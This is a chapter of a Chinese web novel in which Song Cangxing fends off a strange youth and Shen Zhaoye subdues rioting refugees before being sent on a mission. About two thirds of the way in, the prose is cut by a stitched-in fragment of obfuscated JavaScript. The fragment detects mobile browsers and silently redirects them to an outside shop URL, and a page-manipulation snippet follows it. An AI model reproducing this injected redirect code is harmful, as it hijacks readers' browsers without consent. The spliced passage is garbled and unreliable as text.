宋藏星深吸一口气:“我本来是要给人送饭的,眼下因为你,人没到饭先没了,他那人呢,脾气和你一样,所以我求你放过我,大不了我明日再来给你送,成不?” “你夫君是死了吗?怎么让你一个人照顾孩子?” “我是他姑姑。”宋藏星的耐心已经到了极点。 “你是他爹的妹妹?” “不是。” “那你算哪门子姑姑?” “你杀了我吧,行吗?” 少年一笑:“难不成是那种关系?假借姑姑名义住在一起?” 宋藏星闭上眼:“我是造了什么孽,上辈子信教,这辈子修佛,结果净遇到些神经病,什么上帝佛陀,到头来没一个来救我的。” 对面忽然静住了。 宋藏星睁开眼,少年不知何时起身蹲在地上,凑到他脸前,目光在她脸上慢慢游移。 她这才发现,这人生得一双极为好看的眉眼,眸光澄澈好似琉璃清潭,眉骨舒展恰如远山入云。 难不成他也是什么重要角色? 宋藏星下意识要起身,却被飞镖抵住腰侧,她气急败坏地盯着他,心中暗骂,让你救人,让你圣母心泛滥,真是记吃不记打。 少年忽地抬头,看向她身后,“姑姑,那是你认识的人吗?” 宋藏星忙扭头,沈昭野不知何时垂在身后,目光却不在她身上。 腰侧的尖锐感忽然消失,宋藏星赶紧起身,起得太猛腿一麻,又往前栽去。 沈昭野伸手托住她手臂,将她扶稳,“慌什么。” 完了,这是要生气的前兆。 宋藏星如今已经能从字数判断出少爷的心情,若是往常他定会说,怎么这么不小心,这只有三个字……她光速滑跪,露出笑脸:“是来接我吗?” 沈昭野淡淡扫了一眼地上的食盒:“来接我的饭。” 蹲在地上的少年笑着举手:“不好意思,被我吃了。” 宋藏星瞪他一眼,忙回头带笑道:“方才一群流民追我,饭不小心撒到地上,他扑上来就吃,拦都拦不住。” 地上蹲着的人,难得嘴角一抽。 沈昭野仍扶着她的手臂,上下扫了一眼:“可有受伤?” 宋藏星摇摇头:“没有,好得很,就是饭没保住,对不住。” 她露出可怜的眼神,试图获得同情。 沈昭野摇头:“无妨,姑姑应该也还没吃,我们去街上吃那家米线如何?” 宋藏星看了眼天色:“可你这会儿不用当值吗?” “晚去会儿不要紧。” 宋藏星见他神色如常,心下一松应道:“好啊。” 说着抬脚便往前走,只想速速离开这是非之地。 身后少年忽地喊道:“食盒不要了?” 宋藏星刚要回头,被沈昭野抬手按住后脑。 “送你了,”他转头一笑,“我家有的是。” 两人目光交汇,少年眼中锋芒渐露:“那下次记得给我点别的,姑姑。” 沈昭野眯起眼,握住袖中的短箭。 17.山雨欲来风满楼 宋藏星听得生烦,又不愿纠缠,只得拉着沈昭野道:“走了,走了,饿坏了。” 沈昭野收回目光,笑道:“这次我请姑姑吃。” “你小子有私房钱了?”话一出口,宋藏星就抿住嘴。 私房钱算怎么回事,自己这嘴怎么想到哪儿说哪儿,定是被那疯子吓的。 沈昭野倒没在意,半个身子依着她的肩,“是薛堂主给的赏银,也就几十个铜板,还没来得及上交。” “反正怎么说都随你。”指不定藏了多少呢。 沈昭野没再说话,随着她往前走。 人影逐渐远去,仍在巷子的少年收起笑,目光落到一旁的食盒上。 “满员了,你赶下趟吧。” “上帝保佑。” 那夜对他见死不救的女人,嘴里也嘟囔过这些怪话。 模样虽没看清,说话的语气却一模一样。 他又想起方才那个人回头看自己的眼神,啧,什么姑姑。 少年拿起筷子夹口菜塞到嘴里,嚼了没两下,吐到地上。 寒风掀起他破烂的裤脚,露出小腿上一大片崎岖的烧伤,他低头把裤腿扯下重新盖住,撑着墙慢慢起身,一瘸一拐地走回破屋。 路边小摊。 宋藏星要了两碗米线,叮嘱都不放葱后,坐桌前搓着手等待。 沈昭野坐在她对面,“不讲讲吗?” 宋藏星期待美食的心瞬间坠入深渊,敛笑道:“非要这会儿算账?” 她就知道这事没那么容易翻篇。 沈昭野绷着脸,“让我不要同陌生人打交道,你倒好,又是送饭又是贴在一起讲话。” 宋藏星目视前方,充耳不闻。 “明明去司剑堂也不从那经过,怎么会惹上那种人。” 米线咋还不上来,烫烂他的嘴。 “惹上也就罢了,尽快脱身便是,同他有什么好说的,怎么就不想想,我会不会饿死。” 确实,毕竟有的人一顿得吃四碗饭。 “我以为你出什么事了,一路跑过来,就看见你把我的饭给了别人。” 豌豆射手吗?这么能说? 沈昭野长长吐出一口气。 她抬眼过去,“说完了?” “没有。”沈昭野见她漫不经心的模样,心头那团闷火烧得更旺,“他凭什么也叫你姑姑?” 宋藏星正要开口,米线端了上来,她眯眼一笑:“先吃,先吃。” 沈昭野抬手悬在碗口上方,眼神执拗:“不说清楚,不准吃。” 宋藏星算是看出来了,这小子就平时看着乖巧,一钻牛角尖,就是一头怎么拉也拉不回来的倔驴。 “别蹬鼻子上脸啊。” 沈昭野看着她。 宋藏星回看他。 米线的香气绕过他的手掌,萦绕在鼻尖,终究是她先败下阵来。 宋藏星三言两语讲完了经过,刻意隐去了少年杀人的事。 “反正就是个疯子,我之后见到他一定绕着走!” 沈昭野问道:“你怎么扶他出去的?” 宋藏星一脸茫然:“扶很难理解吗?” 这个动作还需要别的解释吗? 沈昭野放在桌上的手微微蜷缩,说不上来的气闷。 瞥见二人蹲身私语时,听闻那人唤她姑姑时,眼下望着她絮絮说起独属于他们两人的经历时,心头便会漫上难以言喻的不安。 王猎户也好,陆丰也罢,他只是觉得碍眼,可唯独这个人,只一个眼神,便让他感到一种前所未有的威胁。 他害怕,害怕宋藏星会因为心软,动了没必要的恻隐之心,事实上,她就是那么做了。 宋藏星丝毫没有注意到对面百转千回的心思,低头正要吃饭,忽地扬声道:“不是说别放葱花吗?” 抬眼瞥见伙计正忙着应酬别的客人,她垮了垮嘴角,埋着头挨个把浮在汤面的葱花挑了出去,小声嘟囔道:“这家不行,伙计耳背,下回不来了。” 挑干净葱花后,她麻利把碗往沈昭野跟前一推,讨好道:“赶紧趁热吃,别生气了,天大地大吃饭最大。” 沈昭野方才郁结在心的闷气被她这一连串动作哄得消散大半,却仍绷着脸,“那你答应我,往后不同那些底细不清的外人来往。” “好好好。”宋藏星吸溜着米线,一口红油入口,辣爽直冲天灵盖,她含糊应声,“放心,我这几日一定老老实实待在家,你都不晓得那会儿多吓人……” 她索性放下筷子,絮絮叨叨说起遇险的经过。 沈昭野也不急着吃,单手支着头,静静听她碎碎念。 吃完米线,沈昭野说送她回家,宋藏星侧目道:“呦,开始假公济私了?” 沈昭野理直气壮:“我本就是要去巡街的。” 宋藏星知道他是担心自己便没再推辞。 两人并排走着,不知不觉到了柳叶巷口。 沈昭野垂眸,以前怎么不觉得这段路这么短。 “行了,就送到这儿,你快去巡街,别耽误正事儿。” 宋藏星上前替他整了整衣领,“晚上给你炖汤。” 沈昭野乖乖站着,低头看她的手指拂过自己衣襟。 忽地身后不知谁冲撞过来,宋藏星眼疾手快,拽着他的衣领,将人拉向自己,两人霎时贴在一处。 沈昭野下意识双手环住她的腰,又听得一声洪亮的怒骂:“没长眼啊!” 路人被吼得莫名其妙,明明是这两人挡住巷口,可眼下也顾不得许多,拔腿就往街口跑。 虽说隔着厚厚的棉服,可沈昭野还是有些不自在,明明平日里这些接触都再寻常不过,他稍稍收紧环在她腰上的手臂,又不自觉俯下身贴得更近了些。 这次是米线的辣油味。 “阿楚。” 沈昭野猛地松开手,往后退了退,站得笔直。 “他们怎么都往南跑?” 沈昭野暗自松口气,这才注意到街上许多人都往南涌,他伸手拉住一个行人询问。 “听说流民和司剑堂的人在福禄街打起来了!” 宋藏星瞪大眼:“那你们还不躲远点?” “云中门禁止私斗,除了剑修甄试哪儿还能有这眼福!”那人说完一溜烟跑了。 “你先回家,我去看看。” 沈昭野转身往福禄街跑去,跑出几步,又回头看了一眼,她还站在巷口冲他摆手。 宋藏星目送他跑远,转身往家走。 到家门口才想起那只食盒,忍不住来气,二十几文买的,他倒大方,说送人就送人了。 还家里有的是,家里就那一个! 当即决定晚上不炖汤,炒盘醋熘白菜算了。 沈昭野赶到福禄街时,人已经围了好几层。 他一眼看到人群中那三个熟悉的脑袋,深吸口气,快步上前将人扯出来:“瞎凑什么热闹?” 宝珠正踮着脚往里张望,被他一扯,脱口要骂,见是他,喜道:“三哥!我还以为你在里面挨打。” 见他眼神凌厉,脖子一缩补了句:“阿楚。” 胖头鱼堆笑道:“我就说,你是小看我们阿楚了。” 黑栾默不作声。 沈昭野顾不得理会,拨开人群,那正抱头挨打的人竟是魏柏。 他喝了一声冲进去,手脚并用将围着的流民挨个踢开,一把将魏柏从人堆薅出来护到身后。 沈昭野旋即抽出背后木剑,“谁给你们的胆子,敢打司剑堂的人?” 流民们看清来人是个拿木剑的少年,先是一愣,随即哄笑起来。 为首的刀疤脸扶地起身:“我说这司剑堂越来越不中用,毛都没长齐也敢拿把木剑吓唬人。” 魏柏只觉丢人,小声道:“方才我出来买酒,见他们当街抢东西,没带剑就上去了。” 沈昭野侧头喊道:“宝珠,去司剑堂喊人。” “好!”宝珠眼睛一亮,转身就跑。 流民们见势不对,骚动起来。 沈昭野扫了一圈,约莫七八个人,身形都不弱,硬打他占不了多少便宜。 他目光落在刀疤脸身上,拿木剑朝他点了点:“你是他们的老大?” 刀疤脸往前迈了一步。 “既然来了云中门,就该守云中门的规矩。” 沈昭野朝他勾了勾手指,“打赢我,我放你们走,输了,给他磕头赔罪如何!” “小子,敢看不起你爷爷,老子在瑶光门也不是吃素的!” 刀疤脸说着猛冲上前,握拳便锤,沈昭野侧身闪开,抬腿一脚扫在他膝窝,那人往前一扑,他顺势抬脚将人按在地上,剑尖指着他的脸。 “就这呀,我还以为多威风呢。” 他抬眼,看向剩下的人:“还有谁?” 那几人互相看了看,不敢上前。 沈昭野俯下身,“看来你这老大当得也不怎么样。” “谁在闹事!” 于朗的声音从不远处传来,围观的人群连忙让出一条道,跑在最前头的宝珠满头是汗,仰头冲沈昭野一笑。 按规矩街头闹事该关进牢里几日,沈昭野起身收了剑:“打三十板子放了吧,关进去还得管饭,回头谁都想来闹一闹。” 于朗觉得有理,便让人先带回司剑堂。 刀疤脸被架着拖走,回头看了一眼沈昭野。 沈昭野并没理会,让人散开后,走到魏柏旁:“魏大哥,没事吧?” 魏柏摇摇头,抹了把脸:“真丢人,要说也真是寒心,咱们几个天天在镇上跑来跑去,不说功劳也有苦劳,方才,愣是没一个人出手帮我。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582572|203737||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' >沈昭野垂眼没接话,只说,“先回堂里。” 他侧头看向宝珠,无奈道:“你们也一起。” 司剑堂。 于朗正向薛越汇报方才的事,魏柏同沈昭野一前一后进来,在旁站定。 薛越听罢沉吟道:“这样下去也不是个办法,还有半个多月就过年了,到时候要是闹出什么乱子,门主非一剑砍了我的脑袋!” 于朗见没外人在,说话也随意些:“堂主,要我说都是门主心太好,偏要收留那些流民……” 薛越没接话茬,抬眼扫过魏柏:“伤得重吗?” 魏柏忙摇头:“皮外伤。” 薛越嗯了一声,转回正题:“镇上的还好说,挑头的就那么几个,麻烦的是镇外,有座茶铺近来被一伙流民占了,当成了据点,沿路打劫。” 他看向沈昭野,“方才你在人前立威,做得不错,这次就由你和于朗带一队人去那边看看。” 沈昭野愣住:“可我还不是剑修。” 薛越摆摆手:“你的功夫不比剑修差。” 魏柏头垂得更低。 薛越从墙上取下自己的佩剑,“我的剑可以暂借给你。” 于朗和魏柏都是一愣,互相看了一眼。 沈昭野看着那柄剑,没有立刻伸手。 薛越将他的神情看在眼里,又说:“他们愿意归顺的就带回来,冥顽不灵的,就地杀了省事,这趟少不了得过夜,你要是有事,先回家交代一声。” 沈昭野见不容推脱,只得双手接剑,低头称是。 他又将宝珠三人的事讲给薛越:“眼下堂里正缺人手,不如先将他们收下,安排每日巡街,有什么情况也好及时上报。” 薛越想了想,点头应了。 宝珠三人在门外等了许久,也不见沈昭野出来,胖头鱼在台阶上挪来挪去,想要先走。 “阿楚说了要我们在这等他,你等着便是!” 宝珠头也不回,眼睛直往门里钻。 胖头鱼撇撇嘴,看了眼从头到尾一声不吭的黑栾,认命地站到一边。 沈昭野恰在此时走出,宝珠连忙迎上去,在他面前乖乖站好,见四下无人轻声唤了声,三哥。 沈昭野低声道:“我已同堂主说过,近日你们就在堂里吃住,负责巡逻街道,有什么情况及时报信,只是没有工钱。” 胖头鱼一个跨步冲过来:“管吃住?那敢情好,不就是遛弯儿嘛!我爱走路,交给我!” 宝珠胳膊肘往后一顶,正怼在他肚子上,眼睛仍望着沈昭野:“麻烦你了。” 沈昭野扫了一眼后头的黑栾,又道:“我要出趟门,明日午后才能回来,有件事想拜托你们。” 他从怀里摸出几枚铜板,“之前攒的那点铜板全给你们了,眼下只剩这些。” 宝珠忙挡住他的手,直摇头:“不要了,不要了,有吃有喝我们就很知足了,什么事啊?” 黑栾靠在门框,冷冷道:“还能什么事?想也知道肯定和他姑姑有关。” 沈昭野面上浮起笑:“武功不行,脑子倒是好使。” 黑栾气得一口气没喘上来。 沈昭野收回目光,低头看向宝珠,“我想让你们帮我看着她,她这几日应当不会出门,若是出了,你们就留心些,眼下流民乱窜,我不放心,有什么事随时告诉我,我就在城外十里的茶铺。” 宝珠听得有些怔怔然,她好像从来没有见过这么温柔的三哥,他在很认真地拜托她一件事,眉眼舒展好似碧波荡漾的春泉,看得她又酸又涩。 “很难吗?”沈昭野见她半天没应。 宝珠回过神,忙不迭摇头:“不难!当然不难!你放心,我一定护好那位姐姐,她去哪儿我去哪儿!” “有劳了,那我先回家了。” 沈昭野朝她点点头,又冲黑栾和胖头鱼递了个眼神,径直出了堂口。 胖头鱼瞅着人走远才戳戳宝珠胳膊:“刚才那人真是沈三?不会是假的吧,还会说,有劳了?” 宝珠瞪他一眼,旋即眉毛一扬:“我三哥本就是天底下最好的人。” 说完她抬头望向沈昭野离去的方向,眼中的张扬渐渐褪去,少女的心事像潮水一样涌上心头,化作眼底湿漉漉一片。 宋藏星此刻正在院子里训罡风。 “我挂墙头的腊肉呢!全吃了?咋没把你噎死!” 罡风不吭声,只一味低头舔着盆里的清水。 “现在知道咸了?今晚晚饭就这盆水,再偷吃我把你送回白溪村。” 门忽地被推开。 宋藏星头也没抬:“怎么这么早回来,堂里没事了?” “我来还食盒。” 宋藏星一把按住蹿起来的罡风,抬起头。 少年单手拎着那只洗干净的食盒,倚在门框上,冲她粲然一笑。